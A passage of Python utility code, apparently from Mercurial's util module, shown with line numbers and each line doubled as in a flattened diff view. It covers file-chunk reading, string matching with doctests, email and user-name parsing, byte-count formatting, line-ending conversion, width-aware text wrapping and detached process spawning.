2242 chunk is the last chunk in the file, or the file is a socket or
2243 some other type of file that sometimes reads less data than is
2243 some other type of file that sometimes reads less data than is
2244 requested."""
2244 requested."""
2245 assert size >= 0
2245 assert size >= 0
2246 assert limit is None or limit >= 0
2246 assert limit is None or limit >= 0
2247 while True:
2247 while True:
2248 if limit is None:
2248 if limit is None:
2249 nbytes = size
2249 nbytes = size
2250 else:
2250 else:
2251 nbytes = min(limit, size)
2251 nbytes = min(limit, size)
2252 s = nbytes and f.read(nbytes)
2252 s = nbytes and f.read(nbytes)
2253 if not s:
2253 if not s:
2254 break
2254 break
2255 if limit:
2255 if limit:
2256 limit -= len(s)
2256 limit -= len(s)
2257 yield s
2257 yield s
2258
2258
2259 class cappedreader(object):
2259 class cappedreader(object):
2260 """A file object proxy that allows reading up to N bytes.
2260 """A file object proxy that allows reading up to N bytes.
2261
2261
2262 Given a source file object, instances of this type allow reading up to
2262 Given a source file object, instances of this type allow reading up to
2263 N bytes from that source file object. Attempts to read past the allowed
2263 N bytes from that source file object. Attempts to read past the allowed
2264 limit are treated as EOF.
2264 limit are treated as EOF.
2265
2265
2266 It is assumed that I/O is not performed on the original file object
2266 It is assumed that I/O is not performed on the original file object
2267 in addition to I/O that is performed by this instance. If there is,
2267 in addition to I/O that is performed by this instance. If there is,
2268 state tracking will get out of sync and unexpected results will ensue.
2268 state tracking will get out of sync and unexpected results will ensue.
2269 """
2269 """
2270 def __init__(self, fh, limit):
2270 def __init__(self, fh, limit):
2271 """Allow reading up to <limit> bytes from <fh>."""
2271 """Allow reading up to <limit> bytes from <fh>."""
2272 self._fh = fh
2272 self._fh = fh
2273 self._left = limit
2273 self._left = limit
2274
2274
2275 def read(self, n=-1):
2275 def read(self, n=-1):
2276 if not self._left:
2276 if not self._left:
2277 return b''
2277 return b''
2278
2278
2279 if n < 0:
2279 if n < 0:
2280 n = self._left
2280 n = self._left
2281
2281
2282 data = self._fh.read(min(n, self._left))
2282 data = self._fh.read(min(n, self._left))
2283 self._left -= len(data)
2283 self._left -= len(data)
2284 assert self._left >= 0
2284 assert self._left >= 0
2285
2285
2286 return data
2286 return data
2287
2287
2288 def stringmatcher(pattern, casesensitive=True):
2288 def stringmatcher(pattern, casesensitive=True):
2289 """
2289 """
2290 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2290 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2291 returns the matcher name, pattern, and matcher function.
2291 returns the matcher name, pattern, and matcher function.
2292 missing or unknown prefixes are treated as literal matches.
2292 missing or unknown prefixes are treated as literal matches.
2293
2293
2294 helper for tests:
2294 helper for tests:
2295 >>> def test(pattern, *tests):
2295 >>> def test(pattern, *tests):
2296 ... kind, pattern, matcher = stringmatcher(pattern)
2296 ... kind, pattern, matcher = stringmatcher(pattern)
2297 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2297 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2298 >>> def itest(pattern, *tests):
2298 >>> def itest(pattern, *tests):
2299 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2299 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2300 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2300 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2301
2301
2302 exact matching (no prefix):
2302 exact matching (no prefix):
2303 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2303 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2304 ('literal', 'abcdefg', [False, False, True])
2304 ('literal', 'abcdefg', [False, False, True])
2305
2305
2306 regex matching ('re:' prefix)
2306 regex matching ('re:' prefix)
2307 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2307 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2308 ('re', 'a.+b', [False, False, True])
2308 ('re', 'a.+b', [False, False, True])
2309
2309
2310 force exact matches ('literal:' prefix)
2310 force exact matches ('literal:' prefix)
2311 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2311 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2312 ('literal', 're:foobar', [False, True])
2312 ('literal', 're:foobar', [False, True])
2313
2313
2314 unknown prefixes are ignored and treated as literals
2314 unknown prefixes are ignored and treated as literals
2315 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2315 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2316 ('literal', 'foo:bar', [False, False, True])
2316 ('literal', 'foo:bar', [False, False, True])
2317
2317
2318 case insensitive regex matches
2318 case insensitive regex matches
2319 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2319 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2320 ('re', 'A.+b', [False, False, True])
2320 ('re', 'A.+b', [False, False, True])
2321
2321
2322 case insensitive literal matches
2322 case insensitive literal matches
2323 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2323 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2324 ('literal', 'ABCDEFG', [False, False, True])
2324 ('literal', 'ABCDEFG', [False, False, True])
2325 """
2325 """
2326 if pattern.startswith('re:'):
2326 if pattern.startswith('re:'):
2327 pattern = pattern[3:]
2327 pattern = pattern[3:]
2328 try:
2328 try:
2329 flags = 0
2329 flags = 0
2330 if not casesensitive:
2330 if not casesensitive:
2331 flags = remod.I
2331 flags = remod.I
2332 regex = remod.compile(pattern, flags)
2332 regex = remod.compile(pattern, flags)
2333 except remod.error as e:
2333 except remod.error as e:
2334 raise error.ParseError(_('invalid regular expression: %s')
2334 raise error.ParseError(_('invalid regular expression: %s')
2335 % e)
2335 % e)
2336 return 're', pattern, regex.search
2336 return 're', pattern, regex.search
2337 elif pattern.startswith('literal:'):
2337 elif pattern.startswith('literal:'):
2338 pattern = pattern[8:]
2338 pattern = pattern[8:]
2339
2339
2340 match = pattern.__eq__
2340 match = pattern.__eq__
2341
2341
2342 if not casesensitive:
2342 if not casesensitive:
2343 ipat = encoding.lower(pattern)
2343 ipat = encoding.lower(pattern)
2344 match = lambda s: ipat == encoding.lower(s)
2344 match = lambda s: ipat == encoding.lower(s)
2345 return 'literal', pattern, match
2345 return 'literal', pattern, match
2346
2346
2347 def shortuser(user):
2347 def shortuser(user):
2348 """Return a short representation of a user name or email address."""
2348 """Return a short representation of a user name or email address."""
2349 f = user.find('@')
2349 f = user.find('@')
2350 if f >= 0:
2350 if f >= 0:
2351 user = user[:f]
2351 user = user[:f]
2352 f = user.find('<')
2352 f = user.find('<')
2353 if f >= 0:
2353 if f >= 0:
2354 user = user[f + 1:]
2354 user = user[f + 1:]
2355 f = user.find(' ')
2355 f = user.find(' ')
2356 if f >= 0:
2356 if f >= 0:
2357 user = user[:f]
2357 user = user[:f]
2358 f = user.find('.')
2358 f = user.find('.')
2359 if f >= 0:
2359 if f >= 0:
2360 user = user[:f]
2360 user = user[:f]
2361 return user
2361 return user
2362
2362
2363 def emailuser(user):
2363 def emailuser(user):
2364 """Return the user portion of an email address."""
2364 """Return the user portion of an email address."""
2365 f = user.find('@')
2365 f = user.find('@')
2366 if f >= 0:
2366 if f >= 0:
2367 user = user[:f]
2367 user = user[:f]
2368 f = user.find('<')
2368 f = user.find('<')
2369 if f >= 0:
2369 if f >= 0:
2370 user = user[f + 1:]
2370 user = user[f + 1:]
2371 return user
2371 return user
2372
2372
2373 def email(author):
2373 def email(author):
2374 '''get email of author.'''
2374 '''get email of author.'''
2375 r = author.find('>')
2375 r = author.find('>')
2376 if r == -1:
2376 if r == -1:
2377 r = None
2377 r = None
2378 return author[author.find('<') + 1:r]
2378 return author[author.find('<') + 1:r]
2379
2379
2380 def ellipsis(text, maxlength=400):
2380 def ellipsis(text, maxlength=400):
2381 """Trim string to at most maxlength (default: 400) columns in display."""
2381 """Trim string to at most maxlength (default: 400) columns in display."""
2382 return encoding.trim(text, maxlength, ellipsis='...')
2382 return encoding.trim(text, maxlength, ellipsis='...')
2383
2383
2384 def unitcountfn(*unittable):
2384 def unitcountfn(*unittable):
2385 '''return a function that renders a readable count of some quantity'''
2385 '''return a function that renders a readable count of some quantity'''
2386
2386
2387 def go(count):
2387 def go(count):
2388 for multiplier, divisor, format in unittable:
2388 for multiplier, divisor, format in unittable:
2389 if abs(count) >= divisor * multiplier:
2389 if abs(count) >= divisor * multiplier:
2390 return format % (count / float(divisor))
2390 return format % (count / float(divisor))
2391 return unittable[-1][2] % count
2391 return unittable[-1][2] % count
2392
2392
2393 return go
2393 return go
2394
2394
2395 def processlinerange(fromline, toline):
2395 def processlinerange(fromline, toline):
2396 """Check that linerange <fromline>:<toline> makes sense and return a
2396 """Check that linerange <fromline>:<toline> makes sense and return a
2397 0-based range.
2397 0-based range.
2398
2398
2399 >>> processlinerange(10, 20)
2399 >>> processlinerange(10, 20)
2400 (9, 20)
2400 (9, 20)
2401 >>> processlinerange(2, 1)
2401 >>> processlinerange(2, 1)
2402 Traceback (most recent call last):
2402 Traceback (most recent call last):
2403 ...
2403 ...
2404 ParseError: line range must be positive
2404 ParseError: line range must be positive
2405 >>> processlinerange(0, 5)
2405 >>> processlinerange(0, 5)
2406 Traceback (most recent call last):
2406 Traceback (most recent call last):
2407 ...
2407 ...
2408 ParseError: fromline must be strictly positive
2408 ParseError: fromline must be strictly positive
2409 """
2409 """
2410 if toline - fromline < 0:
2410 if toline - fromline < 0:
2411 raise error.ParseError(_("line range must be positive"))
2411 raise error.ParseError(_("line range must be positive"))
2412 if fromline < 1:
2412 if fromline < 1:
2413 raise error.ParseError(_("fromline must be strictly positive"))
2413 raise error.ParseError(_("fromline must be strictly positive"))
2414 return fromline - 1, toline
2414 return fromline - 1, toline
2415
2415
2416 bytecount = unitcountfn(
2416 bytecount = unitcountfn(
2417 (100, 1 << 30, _('%.0f GB')),
2417 (100, 1 << 30, _('%.0f GB')),
2418 (10, 1 << 30, _('%.1f GB')),
2418 (10, 1 << 30, _('%.1f GB')),
2419 (1, 1 << 30, _('%.2f GB')),
2419 (1, 1 << 30, _('%.2f GB')),
2420 (100, 1 << 20, _('%.0f MB')),
2420 (100, 1 << 20, _('%.0f MB')),
2421 (10, 1 << 20, _('%.1f MB')),
2421 (10, 1 << 20, _('%.1f MB')),
2422 (1, 1 << 20, _('%.2f MB')),
2422 (1, 1 << 20, _('%.2f MB')),
2423 (100, 1 << 10, _('%.0f KB')),
2423 (100, 1 << 10, _('%.0f KB')),
2424 (10, 1 << 10, _('%.1f KB')),
2424 (10, 1 << 10, _('%.1f KB')),
2425 (1, 1 << 10, _('%.2f KB')),
2425 (1, 1 << 10, _('%.2f KB')),
2426 (1, 1, _('%.0f bytes')),
2426 (1, 1, _('%.0f bytes')),
2427 )
2427 )
2428
2428
2429 class transformingwriter(object):
2429 class transformingwriter(object):
2430 """Writable file wrapper to transform data by function"""
2430 """Writable file wrapper to transform data by function"""
2431
2431
2432 def __init__(self, fp, encode):
2432 def __init__(self, fp, encode):
2433 self._fp = fp
2433 self._fp = fp
2434 self._encode = encode
2434 self._encode = encode
2435
2435
2436 def close(self):
2436 def close(self):
2437 self._fp.close()
2437 self._fp.close()
2438
2438
2439 def flush(self):
2439 def flush(self):
2440 self._fp.flush()
2440 self._fp.flush()
2441
2441
2442 def write(self, data):
2442 def write(self, data):
2443 return self._fp.write(self._encode(data))
2443 return self._fp.write(self._encode(data))
2444
2444
2445 # Matches a single EOL which can either be a CRLF where repeated CR
2445 # Matches a single EOL which can either be a CRLF where repeated CR
2446 # are removed or a LF. We do not care about old Macintosh files, so a
2446 # are removed or a LF. We do not care about old Macintosh files, so a
2447 # stray CR is an error.
2447 # stray CR is an error.
2448 _eolre = remod.compile(br'\r*\n')
2448 _eolre = remod.compile(br'\r*\n')
2449
2449
2450 def tolf(s):
2450 def tolf(s):
2451 return _eolre.sub('\n', s)
2451 return _eolre.sub('\n', s)
2452
2452
2453 def tocrlf(s):
2453 def tocrlf(s):
2454 return _eolre.sub('\r\n', s)
2454 return _eolre.sub('\r\n', s)
2455
2455
2456 def _crlfwriter(fp):
2456 def _crlfwriter(fp):
2457 return transformingwriter(fp, tocrlf)
2457 return transformingwriter(fp, tocrlf)
2458
2458
2459 if pycompat.oslinesep == '\r\n':
2459 if pycompat.oslinesep == '\r\n':
2460 tonativeeol = tocrlf
2460 tonativeeol = tocrlf
2461 fromnativeeol = tolf
2461 fromnativeeol = tolf
2462 nativeeolwriter = _crlfwriter
2462 nativeeolwriter = _crlfwriter
2463 else:
2463 else:
2464 tonativeeol = pycompat.identity
2464 tonativeeol = pycompat.identity
2465 fromnativeeol = pycompat.identity
2465 fromnativeeol = pycompat.identity
2466 nativeeolwriter = pycompat.identity
2466 nativeeolwriter = pycompat.identity
2467
2467
2468 def escapestr(s):
2468 def escapestr(s):
2469 # call underlying function of s.encode('string_escape') directly for
2469 # call underlying function of s.encode('string_escape') directly for
2470 # Python 3 compatibility
2470 # Python 3 compatibility
2471 return codecs.escape_encode(s)[0]
2471 return codecs.escape_encode(s)[0]
2472
2472
2473 def unescapestr(s):
2473 def unescapestr(s):
2474 return codecs.escape_decode(s)[0]
2474 return codecs.escape_decode(s)[0]
2475
2475
2476 def forcebytestr(obj):
2476 def forcebytestr(obj):
2477 """Portably format an arbitrary object (e.g. exception) into a byte
2477 """Portably format an arbitrary object (e.g. exception) into a byte
2478 string."""
2478 string."""
2479 try:
2479 try:
2480 return pycompat.bytestr(obj)
2480 return pycompat.bytestr(obj)
2481 except UnicodeEncodeError:
2481 except UnicodeEncodeError:
2482 # non-ascii string, may be lossy
2482 # non-ascii string, may be lossy
2483 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2483 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2484
2484
2485 def uirepr(s):
2485 def uirepr(s):
2486 # Avoid double backslash in Windows path repr()
2486 # Avoid double backslash in Windows path repr()
2487 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2487 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2488
2488
2489 # delay import of textwrap
2489 # delay import of textwrap
2490 def MBTextWrapper(**kwargs):
2490 def MBTextWrapper(**kwargs):
2491 class tw(textwrap.TextWrapper):
2491 class tw(textwrap.TextWrapper):
2492 """
2492 """
2493 Extend TextWrapper for width-awareness.
2493 Extend TextWrapper for width-awareness.
2494
2494
2495 Neither number of 'bytes' in any encoding nor 'characters' is
2495 Neither number of 'bytes' in any encoding nor 'characters' is
2496 appropriate to calculate terminal columns for specified string.
2496 appropriate to calculate terminal columns for specified string.
2497
2497
2498 Original TextWrapper implementation uses built-in 'len()' directly,
2498 Original TextWrapper implementation uses built-in 'len()' directly,
2499 so overriding is needed to use width information of each characters.
2499 so overriding is needed to use width information of each characters.
2500
2500
2501 In addition, characters classified into 'ambiguous' width are
2501 In addition, characters classified into 'ambiguous' width are
2502 treated as wide in East Asian area, but as narrow in other.
2502 treated as wide in East Asian area, but as narrow in other.
2503
2503
2504 This requires use decision to determine width of such characters.
2504 This requires use decision to determine width of such characters.
2505 """
2505 """
2506 def _cutdown(self, ucstr, space_left):
2506 def _cutdown(self, ucstr, space_left):
2507 l = 0
2507 l = 0
2508 colwidth = encoding.ucolwidth
2508 colwidth = encoding.ucolwidth
2509 for i in xrange(len(ucstr)):
2509 for i in xrange(len(ucstr)):
2510 l += colwidth(ucstr[i])
2510 l += colwidth(ucstr[i])
2511 if space_left < l:
2511 if space_left < l:
2512 return (ucstr[:i], ucstr[i:])
2512 return (ucstr[:i], ucstr[i:])
2513 return ucstr, ''
2513 return ucstr, ''
2514
2514
2515 # overriding of base class
2515 # overriding of base class
2516 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2516 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2517 space_left = max(width - cur_len, 1)
2517 space_left = max(width - cur_len, 1)
2518
2518
2519 if self.break_long_words:
2519 if self.break_long_words:
2520 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2520 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2521 cur_line.append(cut)
2521 cur_line.append(cut)
2522 reversed_chunks[-1] = res
2522 reversed_chunks[-1] = res
2523 elif not cur_line:
2523 elif not cur_line:
2524 cur_line.append(reversed_chunks.pop())
2524 cur_line.append(reversed_chunks.pop())
2525
2525
2526 # this overriding code is imported from TextWrapper of Python 2.6
2526 # this overriding code is imported from TextWrapper of Python 2.6
2527 # to calculate columns of string by 'encoding.ucolwidth()'
2527 # to calculate columns of string by 'encoding.ucolwidth()'
2528 def _wrap_chunks(self, chunks):
2528 def _wrap_chunks(self, chunks):
2529 colwidth = encoding.ucolwidth
2529 colwidth = encoding.ucolwidth
2530
2530
2531 lines = []
2531 lines = []
2532 if self.width <= 0:
2532 if self.width <= 0:
2533 raise ValueError("invalid width %r (must be > 0)" % self.width)
2533 raise ValueError("invalid width %r (must be > 0)" % self.width)
2534
2534
2535 # Arrange in reverse order so items can be efficiently popped
2535 # Arrange in reverse order so items can be efficiently popped
2536 # from a stack of chucks.
2536 # from a stack of chucks.
2537 chunks.reverse()
2537 chunks.reverse()
2538
2538
2539 while chunks:
2539 while chunks:
2540
2540
2541 # Start the list of chunks that will make up the current line.
2541 # Start the list of chunks that will make up the current line.
2542 # cur_len is just the length of all the chunks in cur_line.
2542 # cur_len is just the length of all the chunks in cur_line.
2543 cur_line = []
2543 cur_line = []
2544 cur_len = 0
2544 cur_len = 0
2545
2545
2546 # Figure out which static string will prefix this line.
2546 # Figure out which static string will prefix this line.
2547 if lines:
2547 if lines:
2548 indent = self.subsequent_indent
2548 indent = self.subsequent_indent
2549 else:
2549 else:
2550 indent = self.initial_indent
2550 indent = self.initial_indent
2551
2551
2552 # Maximum width for this line.
2552 # Maximum width for this line.
2553 width = self.width - len(indent)
2553 width = self.width - len(indent)
2554
2554
2555 # First chunk on line is whitespace -- drop it, unless this
2555 # First chunk on line is whitespace -- drop it, unless this
2556 # is the very beginning of the text (i.e. no lines started yet).
2556 # is the very beginning of the text (i.e. no lines started yet).
2557 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2557 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2558 del chunks[-1]
2558 del chunks[-1]
2559
2559
2560 while chunks:
2560 while chunks:
2561 l = colwidth(chunks[-1])
2561 l = colwidth(chunks[-1])
2562
2562
2563 # Can at least squeeze this chunk onto the current line.
2563 # Can at least squeeze this chunk onto the current line.
2564 if cur_len + l <= width:
2564 if cur_len + l <= width:
2565 cur_line.append(chunks.pop())
2565 cur_line.append(chunks.pop())
2566 cur_len += l
2566 cur_len += l
2567
2567
2568 # Nope, this line is full.
2568 # Nope, this line is full.
2569 else:
2569 else:
2570 break
2570 break
2571
2571
2572 # The current line is full, and the next chunk is too big to
2572 # The current line is full, and the next chunk is too big to
2573 # fit on *any* line (not just this one).
2573 # fit on *any* line (not just this one).
2574 if chunks and colwidth(chunks[-1]) > width:
2574 if chunks and colwidth(chunks[-1]) > width:
2575 self._handle_long_word(chunks, cur_line, cur_len, width)
2575 self._handle_long_word(chunks, cur_line, cur_len, width)
2576
2576
2577 # If the last chunk on this line is all whitespace, drop it.
2577 # If the last chunk on this line is all whitespace, drop it.
2578 if (self.drop_whitespace and
2578 if (self.drop_whitespace and
2579 cur_line and cur_line[-1].strip() == r''):
2579 cur_line and cur_line[-1].strip() == r''):
2580 del cur_line[-1]
2580 del cur_line[-1]
2581
2581
2582 # Convert current line back to a string and store it in list
2582 # Convert current line back to a string and store it in list
2583 # of all lines (return value).
2583 # of all lines (return value).
2584 if cur_line:
2584 if cur_line:
2585 lines.append(indent + r''.join(cur_line))
2585 lines.append(indent + r''.join(cur_line))
2586
2586
2587 return lines
2587 return lines
2588
2588
2589 global MBTextWrapper
2589 global MBTextWrapper
2590 MBTextWrapper = tw
2590 MBTextWrapper = tw
2591 return tw(**kwargs)
2591 return tw(**kwargs)
2592
2592
2593 def wrap(line, width, initindent='', hangindent=''):
2593 def wrap(line, width, initindent='', hangindent=''):
2594 maxindent = max(len(hangindent), len(initindent))
2594 maxindent = max(len(hangindent), len(initindent))
2595 if width <= maxindent:
2595 if width <= maxindent:
2596 # adjust for weird terminal size
2596 # adjust for weird terminal size
2597 width = max(78, maxindent + 1)
2597 width = max(78, maxindent + 1)
2598 line = line.decode(pycompat.sysstr(encoding.encoding),
2598 line = line.decode(pycompat.sysstr(encoding.encoding),
2599 pycompat.sysstr(encoding.encodingmode))
2599 pycompat.sysstr(encoding.encodingmode))
2600 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2600 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2601 pycompat.sysstr(encoding.encodingmode))
2601 pycompat.sysstr(encoding.encodingmode))
2602 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2602 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2603 pycompat.sysstr(encoding.encodingmode))
2603 pycompat.sysstr(encoding.encodingmode))
2604 wrapper = MBTextWrapper(width=width,
2604 wrapper = MBTextWrapper(width=width,
2605 initial_indent=initindent,
2605 initial_indent=initindent,
2606 subsequent_indent=hangindent)
2606 subsequent_indent=hangindent)
2607 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2607 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2608
2608
2609 if (pyplatform.python_implementation() == 'CPython' and
2609 if (pyplatform.python_implementation() == 'CPython' and
2610 sys.version_info < (3, 0)):
2610 sys.version_info < (3, 0)):
2611 # There is an issue in CPython that some IO methods do not handle EINTR
2611 # There is an issue in CPython that some IO methods do not handle EINTR
2612 # correctly. The following table shows what CPython version (and functions)
2612 # correctly. The following table shows what CPython version (and functions)
2613 # are affected (buggy: has the EINTR bug, okay: otherwise):
2613 # are affected (buggy: has the EINTR bug, okay: otherwise):
2614 #
2614 #
2615 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2615 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2616 # --------------------------------------------------
2616 # --------------------------------------------------
2617 # fp.__iter__ | buggy | buggy | okay
2617 # fp.__iter__ | buggy | buggy | okay
2618 # fp.read* | buggy | okay [1] | okay
2618 # fp.read* | buggy | okay [1] | okay
2619 #
2619 #
2620 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2620 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2621 #
2621 #
2622 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2622 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2623 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2623 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2624 #
2624 #
2625 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2625 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2626 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2626 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2627 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2627 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2628 # fp.__iter__ but not other fp.read* methods.
2628 # fp.__iter__ but not other fp.read* methods.
2629 #
2629 #
2630 # On modern systems like Linux, the "read" syscall cannot be interrupted
2630 # On modern systems like Linux, the "read" syscall cannot be interrupted
2631 # when reading "fast" files like on-disk files. So the EINTR issue only
2631 # when reading "fast" files like on-disk files. So the EINTR issue only
2632 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2632 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2633 # files approximately as "fast" files and use the fast (unsafe) code path,
2633 # files approximately as "fast" files and use the fast (unsafe) code path,
2634 # to minimize the performance impact.
2634 # to minimize the performance impact.
2635 if sys.version_info >= (2, 7, 4):
2635 if sys.version_info >= (2, 7, 4):
2636 # fp.readline deals with EINTR correctly, use it as a workaround.
2636 # fp.readline deals with EINTR correctly, use it as a workaround.
2637 def _safeiterfile(fp):
2637 def _safeiterfile(fp):
2638 return iter(fp.readline, '')
2638 return iter(fp.readline, '')
2639 else:
2639 else:
2640 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2640 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2641 # note: this may block longer than necessary because of bufsize.
2641 # note: this may block longer than necessary because of bufsize.
2642 def _safeiterfile(fp, bufsize=4096):
2642 def _safeiterfile(fp, bufsize=4096):
2643 fd = fp.fileno()
2643 fd = fp.fileno()
2644 line = ''
2644 line = ''
2645 while True:
2645 while True:
2646 try:
2646 try:
2647 buf = os.read(fd, bufsize)
2647 buf = os.read(fd, bufsize)
2648 except OSError as ex:
2648 except OSError as ex:
2649 # os.read only raises EINTR before any data is read
2649 # os.read only raises EINTR before any data is read
2650 if ex.errno == errno.EINTR:
2650 if ex.errno == errno.EINTR:
2651 continue
2651 continue
2652 else:
2652 else:
2653 raise
2653 raise
2654 line += buf
2654 line += buf
2655 if '\n' in buf:
2655 if '\n' in buf:
2656 splitted = line.splitlines(True)
2656 splitted = line.splitlines(True)
2657 line = ''
2657 line = ''
2658 for l in splitted:
2658 for l in splitted:
2659 if l[-1] == '\n':
2659 if l[-1] == '\n':
2660 yield l
2660 yield l
2661 else:
2661 else:
2662 line = l
2662 line = l
2663 if not buf:
2663 if not buf:
2664 break
2664 break
2665 if line:
2665 if line:
2666 yield line
2666 yield line
2667
2667
2668 def iterfile(fp):
2668 def iterfile(fp):
2669 fastpath = True
2669 fastpath = True
2670 if type(fp) is file:
2670 if type(fp) is file:
2671 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2671 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2672 if fastpath:
2672 if fastpath:
2673 return fp
2673 return fp
2674 else:
2674 else:
2675 return _safeiterfile(fp)
2675 return _safeiterfile(fp)
2676 else:
2676 else:
2677 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2677 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2678 def iterfile(fp):
2678 def iterfile(fp):
2679 return fp
2679 return fp
2680
2680
2681 def iterlines(iterator):
2681 def iterlines(iterator):
2682 for chunk in iterator:
2682 for chunk in iterator:
2683 for line in chunk.splitlines():
2683 for line in chunk.splitlines():
2684 yield line
2684 yield line
2685
2685
2686 def expandpath(path):
2686 def expandpath(path):
2687 return os.path.expanduser(os.path.expandvars(path))
2687 return os.path.expanduser(os.path.expandvars(path))
2688
2688
2689 def hgcmd():
2689 def hgcmd():
2690 """Return the command used to execute current hg
2690 """Return the command used to execute current hg
2691
2691
2692 This is different from hgexecutable() because on Windows we want
2692 This is different from hgexecutable() because on Windows we want
2693 to avoid things opening new shell windows like batch files, so we
2693 to avoid things opening new shell windows like batch files, so we
2694 get either the python call or current executable.
2694 get either the python call or current executable.
2695 """
2695 """
2696 if mainfrozen():
2696 if mainfrozen():
2697 if getattr(sys, 'frozen', None) == 'macosx_app':
2697 if getattr(sys, 'frozen', None) == 'macosx_app':
2698 # Env variable set by py2app
2698 # Env variable set by py2app
2699 return [encoding.environ['EXECUTABLEPATH']]
2699 return [encoding.environ['EXECUTABLEPATH']]
2700 else:
2700 else:
2701 return [pycompat.sysexecutable]
2701 return [pycompat.sysexecutable]
2702 return gethgcmd()
2702 return gethgcmd()
2703
2703
2704 def rundetached(args, condfn):
2704 def rundetached(args, condfn):
2705 """Execute the argument list in a detached process.
2705 """Execute the argument list in a detached process.
2706
2706
2707 condfn is a callable which is called repeatedly and should return
2707 condfn is a callable which is called repeatedly and should return
2708 True once the child process is known to have started successfully.
2708 True once the child process is known to have started successfully.
2709 At this point, the child process PID is returned. If the child
2709 At this point, the child process PID is returned. If the child
2710 process fails to start or finishes before condfn() evaluates to
2710 process fails to start or finishes before condfn() evaluates to
2711 True, return -1.
2711 True, return -1.
2712 """
2712 """
2713 # Windows case is easier because the child process is either
2713 # Windows case is easier because the child process is either
2714 # successfully starting and validating the condition or exiting
2714 # successfully starting and validating the condition or exiting
2715 # on failure. We just poll on its PID. On Unix, if the child
2715 # on failure. We just poll on its PID. On Unix, if the child
2716 # process fails to start, it will be left in a zombie state until
2716 # process fails to start, it will be left in a zombie state until
2717 # the parent wait on it, which we cannot do since we expect a long
2717 # the parent wait on it, which we cannot do since we expect a long
2718 # running process on success. Instead we listen for SIGCHLD telling
2718 # running process on success. Instead we listen for SIGCHLD telling
2719 # us our child process terminated.
2719 # us our child process terminated.
2720 terminated = set()
2720 terminated = set()
2721 def handler(signum, frame):
2721 def handler(signum, frame):
2722 terminated.add(os.wait())
2722 terminated.add(os.wait())
2723 prevhandler = None
2723 prevhandler = None
2724 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2724 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2725 if SIGCHLD is not None:
2725 if SIGCHLD is not None:
2726 prevhandler = signal.signal(SIGCHLD, handler)
2726 prevhandler = signal.signal(SIGCHLD, handler)
2727 try:
2727 try:
2728 pid = spawndetached(args)
2728 pid = spawndetached(args)
2729 while not condfn():
2729 while not condfn():
2730 if ((pid in terminated or not testpid(pid))
2730 if ((pid in terminated or not testpid(pid))
2731 and not condfn()):
2731 and not condfn()):
2732 return -1
2732 return -1
2733 time.sleep(0.1)
2733 time.sleep(0.1)
2734 return pid
2734 return pid
2735 finally:
2735 finally:
2736 if prevhandler is not None:
2736 if prevhandler is not None:
2737 signal.signal(signal.SIGCHLD, prevhandler)
2737 signal.signal(signal.SIGCHLD, prevhandler)
2738
2738
2739 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2739 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2740 """Return the result of interpolating items in the mapping into string s.
